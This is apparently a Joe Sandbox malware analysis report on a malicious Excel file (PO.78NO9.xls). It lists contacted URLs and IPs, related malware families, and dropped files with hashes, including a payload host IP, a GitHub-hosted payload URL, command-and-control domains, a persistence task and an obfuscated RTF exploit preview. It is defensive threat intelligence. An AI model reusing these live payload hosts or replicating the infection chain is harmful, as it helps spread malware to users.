http://java.sun.com	explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000017.00000000.488448630.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.488448630.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638907259.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638410089.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.487849649.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637917540.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://raw.githubusercontent.com	powershell.exe, 0000000F.00000002.481286410.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.my-tournament.liveReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dental-implants-84866.bond/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.accountingcourse06.shop	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://m2g.me/	m2g.me.url.4.dr	false	0%, Virustotal, Browse	unknown
http://www.accountingcourse06.shop/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.highercall.netReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.spanish-classes-13883.bond/gwdv/www.intelliflow.run	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.3dnu3uix.college/gwdv/www.nasocnite.xyz	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.senior-dating-73474.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://38.240.41.28	powershell.exe, 0000000F.00000002.481286410.0000000002737000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.intelliflow.runReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.blackwavetattoostudio.com/gwdv/www.spanish-classes-13883.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.divineworks.storeReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://go.micros	powershell.exe, 0000000F.00000002.481286410.0000000002B95000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.incronizid.devReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.nasocnite.xyzReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.spanish-classes-13883.bond/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtfXh;	powershell.exe, 0000000F.00000002.481286410.00000000025CA000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.lingerie-16071.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleane	explorer.exe, 00000017.00000002.638907259.00000000070AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.00000000070AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.lefeetlab.net/gwdv/www.dental-implants-84866.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.lmodt.infoReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.dental-implants-84866.bondReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.accountingcourse06.shopReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.boyxlife.cyou/gwdv/www.blackwavetattoostudio.com	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.senior-dating-73474.bondReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dental-implants-84866.bond/gwdv/www.boyxlife.cyou	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.nasocnite.xyz/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.spanish-classes-13883.bondReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.blackwavetattoostudio.com	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.incronizid.dev/gwdv/www.lefeetlab.net	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.piriform.com/ccleanerxe	explorer.exe, 00000017.00000000.487849649.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637917540.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.incronizid.dev/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://38.240.41.28/333/wegivenewthingssoonsweetness.tIFC:	EQNEDT32.EXE, 0000000A.00000002.457404103.000000000097F000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 0000000A.00000003.456752146.000000000097F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.lingerie-16071.bond/gwdv/www.accountingcourse06.shop	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.my-tournament.live/gwdv/www.senior-dating-73474.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/server1.crl0	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.3dnu3uix.college/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.nasocnite.xyz/gwdv/P	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.lmodt.info	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.senior-dating-73474.bond/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.lefeetlab.net	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.dental-implants-84866.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://38.240.41.28/333/wegivenewthingssoonsweetness.tIFj	EQNEDT32.EXE, 0000000A.00000002.457404103.0000000000939000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.accountingcourse06.shop/gwdv/www.highercall.net	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.my-tournament.live/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.highercall.net	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.piriform.com/ccleaner	explorer.exe, 00000017.00000000.488448630.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.488448630.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638907259.0000000007123000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638410089.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.487849649.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.638907259.00000000070AD000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637917540.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000017.00000000.489481018.00000000070AD000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.3dnu3uix.collegeReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.incronizid.dev	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
14.194.50.211	m2g.me	India	55441	TTSLMEIS-AS-APTTSL-ISPDIVISIONIN	true
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
38.240.41.28	unknown	United States	174	COGENT-174US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527625
Start date and time:	2024-10-07 07:13:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO.78NO9.xls
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@536/37@18/3
EGA Information:	Successful, ratio: 62.5%
HCA Information:	Successful, ratio: 96% Number of executed functions: 134 Number of non-executed functions: 287
Cookbook Comments:	Found application associated with file extension: .xls Changed system and user locale, location and keyboard layout to French - France Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3168 because there are no executed function
Execution Graph export aborted for target niLILOT.exe, PID 3724 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2660 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:14:48	API Interceptor	47x Sleep call for process: EQNEDT32.EXE modified
01:14:50	API Interceptor	197x Sleep call for process: powershell.exe modified
01:14:50	API Interceptor	12x Sleep call for process: wscript.exe modified
01:15:00	API Interceptor	113x Sleep call for process: aspnet_regbrowsers.exe modified
01:15:02	API Interceptor	3x Sleep call for process: schtasks.exe modified
01:15:05	API Interceptor	3x Sleep call for process: niLILOT.exe modified
01:15:05	API Interceptor	205x Sleep call for process: taskeng.exe modified
01:15:10	API Interceptor	1344x Sleep call for process: explorer.exe modified
01:15:16	API Interceptor	247x Sleep call for process: mstsc.exe modified
22:15:05	Task Scheduler	Run new task: niLILOT path: C:\Users\user\AppData\Roaming\niLILOT.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.199.108.133	Company Profile.vbs	Get hash	malicious	Unknown	Browse
	http://barik-ankita.github.io/Netflix-clone	Get hash	malicious	HTMLPhisher	Browse
	http://mr-zkpak47.github.io/Netflix_Front_Page	Get hash	malicious	HTMLPhisher	Browse
	na.rtf	Get hash	malicious	Remcos	Browse
	http://kartike1103.github.io/Netflix	Get hash	malicious	HTMLPhisher	Browse
	http://sachinchaunal.github.io/Netflix-Clone-Old-Version	Get hash	malicious	HTMLPhisher	Browse
	https://uni.olga.finance/	Get hash	malicious	Unknown	Browse
	https://swiftclaimairdropmeta.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://jhansalazar.weebly.com/	Get hash	malicious	Unknown	Browse
	GEJMING DUO USD 20241002144902.docx.doc	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	Company Profile.vbs	Get hash	malicious	Unknown	Browse	185.199.108.133
	ls6sm8RNqn.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.hta	Get hash	malicious	Cobalt Strike	Browse	185.199.111.133
	na.hta	Get hash	malicious	Cobalt Strike	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.108.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	ZEjcJZcrXc.elf	Get hash	malicious	Mirai	Browse	149.92.43.113
	sora.arm.elf	Get hash	malicious	Mirai	Browse	38.162.177.151
	x86.elf	Get hash	malicious	Mirai	Browse	149.52.168.147
	na.elf	Get hash	malicious	Unknown	Browse	38.60.198.180
	na.elf	Get hash	malicious	Mirai	Browse	38.72.19.192
	na.elf	Get hash	malicious	Unknown	Browse	38.46.35.55
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	38.63.117.255
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	38.116.189.128
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	154.55.185.244
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	38.151.122.157
TTSLMEIS-AS-APTTSL-ISPDIVISIONIN	na.elf	Get hash	malicious	Mirai, Okiru	Browse	49.200.247.241
	x86.elf	Get hash	malicious	Mirai	Browse	14.195.61.251
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	14.194.227.99
	Z2X8cP8r7S.elf	Get hash	malicious	Unknown	Browse	49.248.226.120
	fPqdDUeLwj.elf	Get hash	malicious	Mirai, Moobot	Browse	49.200.200.206
	ksxhUwe4q5.elf	Get hash	malicious	Mirai, Moobot	Browse	182.158.23.255
	FkrW3aRKek.elf	Get hash	malicious	Unknown	Browse	14.194.50.72
	uvaXiyELu9.elf	Get hash	malicious	Mirai	Browse	14.194.130.217
	mg7INGUtNT.elf	Get hash	malicious	Mirai	Browse	14.194.239.75
	92OyrrVFOt.elf	Get hash	malicious	Mirai	Browse	182.158.53.101
FASTLYUS	Company Profile.vbs	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://maxask.com	Get hash	malicious	Unknown	Browse	151.101.131.42
	ls6sm8RNqn.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	http://www.ngdhqw.blogspot.de/	Get hash	malicious	GRQ Scam	Browse	151.101.2.208
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	na.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	http://milumuduli.github.io/netflix-template	Get hash	malicious	HTMLPhisher	Browse	185.199.110.153
	http://m4xnk.github.io/netflix-clone-by-m4xnk	Get hash	malicious	HTMLPhisher	Browse	185.199.111.153
	http://gauravchauhan25.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	185.199.110.153
	http://hasnat22.github.io/Netflix-Clone	Get hash	malicious	HTMLPhisher	Browse	185.199.110.153

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	ls6sm8RNqn.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	na.rtf	Get hash	malicious	Unknown	Browse	14.194.50.211 185.199.108.133
	MKWbWHd5Ni.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
	DSpWOKW7zn.rtf	Get hash	malicious	Remcos	Browse	14.194.50.211 185.199.108.133
7dcce5b76c8b17472d024758970a406b	PO-070-2024 EXW.docx	Get hash	malicious	Unknown	Browse	14.194.50.211
	DHL Shipment Doc's.xls	Get hash	malicious	Remcos	Browse	14.194.50.211
	PO20241003.xls	Get hash	malicious	Unknown	Browse	14.194.50.211
	GEJMING DUO USD 20241002144902.docx.doc	Get hash	malicious	Remcos	Browse	14.194.50.211
	PO20241003.xls	Get hash	malicious	Unknown	Browse	14.194.50.211
	Swift Copy.xls	Get hash	malicious	Unknown	Browse	14.194.50.211
	PO-00536.xls	Get hash	malicious	Remcos	Browse	14.194.50.211
	Formularz instrukcji p#U0142atno#U015bci Millennium.xls	Get hash	malicious	Remcos	Browse	14.194.50.211
	TTXAPPLICATION.xls	Get hash	malicious	Snake Keylogger	Browse	14.194.50.211
	PO-070-2024 EXW.docx	Get hash	malicious	Unknown	Browse	14.194.50.211

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025547633048975373
Encrypted:	false
SSDEEP:	6:I3DPc1wuT5JzRvxggLRJ075pRXv//4tfnRujlw//+GtluJ/eRuj:I3DPkwu9bt0tHvYg3J/
MD5:	4042A292385DF8F186B5C054491ACD0A
SHA1:	15DA9AD1EAF3DC99679AB1B68393C4F4109AFC90
SHA-256:	AF884FD136A3CBA99547E1078BDFF203465E2FCB12AF0E1A788A5138A09AE516
SHA-512:	DFAD22BF16D892C145C3DDBF5DA164DD7E1445100764378575F8BC7E1177CE4924AD71363FA0D4C1264A481BC54F9B1D705FB9CB9F20FCAD9D435C137A659ABB
Malicious:	false
Preview:	......M.eFy...zrU.D0P.M.....E..S,...X.F...Fa.q...............................8.%H................/]....D..].........................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords[1].doc

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	114813
Entropy (8bit):	2.5107851272431225
Encrypted:	false
SSDEEP:	768:LhaJTzmiluIV44M4oQKuJJ7WtgBlIMvxZTzxxL9vRkHSM:qxuIV4T4obuOGWMpZBhFRK
MD5:	0EC3C5F0AFB99AF55C463CD57D7EA776
SHA1:	C8E0C437DBAB0C82EFA8BC71CB7CC5F165C2B813
SHA-256:	34760DD3BC9F5A5E235D6DD938B4104C6EB29712CC981145B48E45CB9D60615F
SHA-512:	FA376045B63850A7F1C8714A1D05D13D514D09A8D1D67C5E220678364D4954E62E31F0E798CA540B908C9362822DC60EDD1859AB303E3899C5912491383211F7
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords[1].doc, Author: ditekSHen
Preview:	{\rtf1..{\\hO40lRSUdAYZSeTzuRo1vLWrhJ3Eyfl6YWYs5Zig2xAuzTi687oz4eOsng17wmG3OxN0wP9fJO3eXUfIM2HnzroVGAuUimNPFboWpLU6UOVwe47Eb8WaENYQ8fzWo3sq9N9bInZearnyresZuImVKcOGT4ZLk2Yz7AfPsA8yehDsfdgxIRNimy7iGKu746CWCse46qyhho2odPK3oTYM9qWOZI}..{\706404085.77?.2\|=%0.2+?;.%&1%4]%<?>:?6?+)&3?^?!4%0.%?0/0]94:9/$.+=2!/?);'#6-?]6`3?4+?+,-4^_#1%9)99.^.0:'(&$%(`)?!%'%[?&6;)?9\|@3\|23??9?>%!+?~.?,;.?\|^?7-2]#.2$^&~,(_<<.[?,.'4%.<.5]/;1.0>>%5?97.`,&%,%2!3.(?]?(,9>\|?5:),!..21?[..~-?</`=\|%@,;>1=5'39/???9<'.343.4!?..5?`_%(5.:\|6?&/??>@.~#]+64^\|!8./82#11'27[?1?);')7\|?#:%[>\|<'4#[97.^?'\|$%?$].?.?<0%,!?6~.>2?@.-?:/?=.+.31?6;+<%@~?+'0![48(-@]\|.?<.7?_&%[%.?'@;<);).759<&:;.>8`><:8?./&$_?=95-4%-?]/>$?(.<[%?>[/.>&?^<1+[@44882%`@0&-28==?![_...>+%&#9-%.9.>.'%[?%%63['4?!3&%'^=@%?(._]..'?=_(')?^@?8_?>;&-6,=-26/86^%9\|\|-^6?>`4!$\|)7],%[#_.2,#~_:^/;;&?^!'.8?<>?84>%:>!;~.4.6.#\|?&#9:.2^-+:'?.9($64+4:>2.,??6@3,)492@?#3?[?$.`4#$4~3(].:?=];.?%%+0,@?.9:&.%.8>,9?]+9(?@.?)7.50_10+4)?#/!::%%@$.+?&=%;1#5;<7?,~?~_^@\|?8$?.%^21

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\wegivenewthingssoonsweetness[1].tiff

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	194546
Entropy (8bit):	3.7308893365983766
Encrypted:	false
SSDEEP:	3072:NgVXBa4xg3NmKaba5Vxgt5pOGwWXgy7UjT/GZYmlcnrtIhv4t:Ng9Ba4x2Nm05l3yq5Iit
MD5:	E649435AF0F3788A713CD22749FE6B38
SHA1:	7D1BCBAD5F789C559E1E04F427F778446C0D6388
SHA-256:	730B7357EF72D30C42DC3A32EC8E7E82303C40FB6056875E50DE4F644B0F06F3
SHA-512:	B55E31EDEE1DC1FEF0A87F5D5B4B0D8D6CDCFAFAE89214B2C4D8F76CA26053C18B631E819DFC36F11A2380280ACB906F2207047057016E2AB5C8791947EB6A64
Malicious:	false
